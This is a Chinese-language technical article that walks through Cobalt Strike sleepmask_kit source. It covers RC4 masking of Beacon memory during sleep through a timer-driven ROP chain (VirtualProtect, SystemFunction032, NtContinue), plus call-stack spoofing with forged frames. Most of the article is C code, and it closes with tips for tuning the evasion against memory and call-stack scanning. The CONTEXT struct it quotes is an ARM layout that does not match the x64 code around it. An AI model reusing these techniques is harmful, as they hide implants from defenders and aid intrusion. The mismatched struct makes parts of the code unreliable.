对CS sleepmask_kit中evasive_sleep与堆栈欺骗的源码分析
字数 1104 2025-08-24 16:48:16
CS sleepmask_kit中evasive_sleep与堆栈欺骗技术深度分析
1. 概述
本文详细分析Cobalt Strike sleepmask_kit中的evasive_sleep功能及其堆栈欺骗技术实现。这些技术主要用于在Beacon休眠期间对内存数据进行混淆遮掩,以规避内存扫描检测。
2. EVASIVE_SLEEP功能
2.1 基本配置
EVASIVE_SLEEP默认关闭,需手动启用:
#if _WIN64
#define EVASIVE_SLEEP 0 // 默认关闭
// #define EVASIVE_SLEEP 1 // 手动改为1启用
#endif
启用后需包含相应源文件:
#if EVASIVE_SLEEP
#include "evasive_sleep.c"
// #include "evasive_sleep_stack_spoof.c" // 堆栈欺骗版本
#endif
2.2 核心实现原理
EVASIVE_SLEEP在sleep_mask函数中被调用,位于内存加密操作之间:
void sleep_mask(SLEEPMASKP* parms, void(__stdcall* pSleep)(DWORD), DWORD time) {
mask_sections(parms); // 加密节区
mask_heap(parms); // 加密堆
#if EVASIVE_SLEEP
evasive_sleep(parms->mask, time, &info); // 二次加密
#endif
mask_heap(parms); // 解密堆
mask_sections(parms); // 解密节区
}
2.3 evasive_sleep实现细节
evasive_sleep使用ROP技术,通过CONTEXT结构保存寄存器状态并构造ROP链:
typedef struct DECLSPEC_ALIGN(8) DECLSPEC_NOINITALL _CONTEXT {
DWORD ContextFlags; // 控制标志
DWORD R0; DWORD R1; DWORD R2; DWORD R3; // 整数寄存器
DWORD R4; DWORD R5; DWORD R6; DWORD R7;
DWORD R8; DWORD R9; DWORD R10; DWORD R11;
DWORD R12;
DWORD Sp; DWORD Lr; DWORD Pc; DWORD Cpsr; // 控制寄存器
// ...
} CONTEXT;
核心函数流程:
- 创建事件和计时器队列
- 捕获当前线程上下文
- 构造ROP链(修改内存保护、RC4加密、恢复保护)
- 通过NtContinue执行ROP链
2.4 ROP链构造
ROP链构造遵循x64调用约定:
// VirtualProtect(ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect);
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD_PTR)VirtualProtect;
RopProtRW.Rcx = (DWORD_PTR)ImageBase;
RopProtRW.Rdx = ImageTextSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD_PTR)&OldProtect;
// SystemFunction032(&Key, &Img); (RC4加密)
RopMemMsk.Rsp -= 8;
RopMemMsk.Rip = (DWORD_PTR)SystemFunction032;
RopMemMsk.Rcx = (DWORD_PTR)&Img;
RopMemMsk.Rdx = (DWORD_PTR)&Key;
// VirtualProtect(ImageBase, ImageTextSize, PAGE_EXECUTE_READ, &OldProtect);
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD_PTR)VirtualProtect;
RopProtRX.Rcx = (DWORD_PTR)ImageBase;
RopProtRX.Rdx = ImageTextSize;
RopProtRX.R8 = PAGE_EXECUTE_READ;
RopProtRX.R9 = (DWORD_PTR)&OldProtect;
// SetEvent(hEvent);
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD_PTR)SetEvent;
RopSetEvt.Rcx = (DWORD_PTR)hEvent;
2.5 定时执行
通过CreateTimerQueueTimer安排ROP链执行时间:
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopMemMsk, 400, 0, WT_EXECUTEINTIMERTHREAD);
// ...其他ROP操作
3. 堆栈欺骗技术
3.1 启用方式
注释掉evasive_sleep.c,启用evasive_sleep_stack_spoof.c:
#if EVASIVE_SLEEP
// #include "evasive_sleep.c"
#include "evasive_sleep_stack_spoof.c"
#endif
3.2 核心改进
在原有ROP链基础上增加了堆栈欺骗功能:
- 调用spoof_stack伪造调用栈
- 执行原有ROP操作
- 调用restore_stack恢复原始栈帧
定时器设置:
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)spoof_stack,
&threadId, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue,
&RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
// ...其他ROP操作
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)restore_stack,
&threadId, 600 + time, 0, WT_EXECUTEINTIMERTHREAD);
3.3 栈帧伪造实现
3.3.1 栈帧结构定义
typedef struct _STACK_FRAME {
WCHAR targetDll[MAX_PATH]; // 目标DLL路径
DWORD functionHash; // 函数哈希
ULONG offset; // 函数偏移量
ULONG totalStackSize; // 总栈大小
BOOL requiresLoadLibrary; // 是否需要加载DLL
BOOL setsFramePointer; // 是否设置帧指针
PVOID returnAddress; // 返回地址
BOOL pushRbp; // 是否推送RBP
ULONG countOfCodes; // 代码数量
BOOL pushRbpIndex; // 推送RBP索引
} STACK_FRAME, *PSTACK_FRAME;
3.3.2 伪造调用栈设置
通过set_callstack设置伪造的调用栈:
void set_callstack(IN PSTACK_FRAME callstack, OUT PDWORD number_of_frames) {
DWORD i = 0;
set_frame_info(&callstack[i++], L"ntdll.dll", 0, 0x550b2, 0, FALSE);
set_frame_info(&callstack[i++], L"kernel32.dll", 0, 0x174b4, 0, FALSE);
set_frame_info(&callstack[i++], L"ntdll", 0, 0x526a1, 0, FALSE);
*number_of_frames = i;
}
3.3.3 栈帧初始化
BOOL initialize_spoofed_callstack(PSTACK_FRAME callstack, DWORD number_of_frames) {
for (DWORD i = 0; i < number_of_frames; i++) {
// 计算返回地址
if (!calculate_return_address(&callstack[i])) return FALSE;
// 计算函数栈大小
if (!calculate_function_stack_size(&callstack[i])) return FALSE;
}
return TRUE;
}
3.4 伪造线程状态
关键函数initialize_fake_thread_state实现伪造线程堆栈:
void initialize_fake_thread_state(PSTACK_FRAME callstack, DWORD number_of_frames, PCONTEXT context) {
ULONG64 childSp = 0;
BOOL bPreviousFrameSetUWOP_SET_FPREG = FALSE;
push_to_stack(context, 0); // 哨兵值
// 从后向前遍历调用栈
for (DWORD i = 0; i < number_of_frames; i++) {
PSTACK_FRAME stackFrame = &callstack[number_of_frames - i - 1];
if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp) {
// 处理设置了帧指针的情况
DWORD diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
DWORD tmpStackSizeCounter = 0;
for (ULONG j = 0; j < diff; j++) {
push_to_stack(context, 0x0);
tmpStackSizeCounter += 0x8;
}
push_to_stack(context, childSp);
context->Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
*(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress;
bPreviousFrameSetUWOP_SET_FPREG = FALSE;
} else {
// 普通帧处理
context->Rsp -= stackFrame->totalStackSize;
*(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress;
}
if (stackFrame->setsFramePointer) {
childSp = context->Rsp;
childSp += 0x8;
bPreviousFrameSetUWOP_SET_FPREG = TRUE;
}
}
}
3.5 堆栈恢复
void restore_stack(DWORD* threadId) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, *threadId);
SetThreadContext(hThread, &context); // 恢复原始上下文
}
4. 实际应用建议
- 时间控制:可根据sleep时间决定是否启用mask,例如仅当sleep时间大于2秒时启用
- 自定义加密:可替换SystemFunction032为自定义加密函数
- 调用栈选择:应选择代表性Windows系统上的常见调用栈进行伪装
- 偏移量调整:不同Windows版本可能需要调整函数偏移量
5. 总结
CS sleepmask_kit通过以下技术增强隐蔽性:
- 使用RC4对休眠内存进行二次加密
- 通过ROP技术规避API调用检测
- 伪造调用栈干扰内存扫描和分析
- 完整的内存保护-加密-解密-恢复流程
这些技术组合使用可有效对抗内存扫描和调用栈分析,但需要注意不同系统版本的兼容性问题。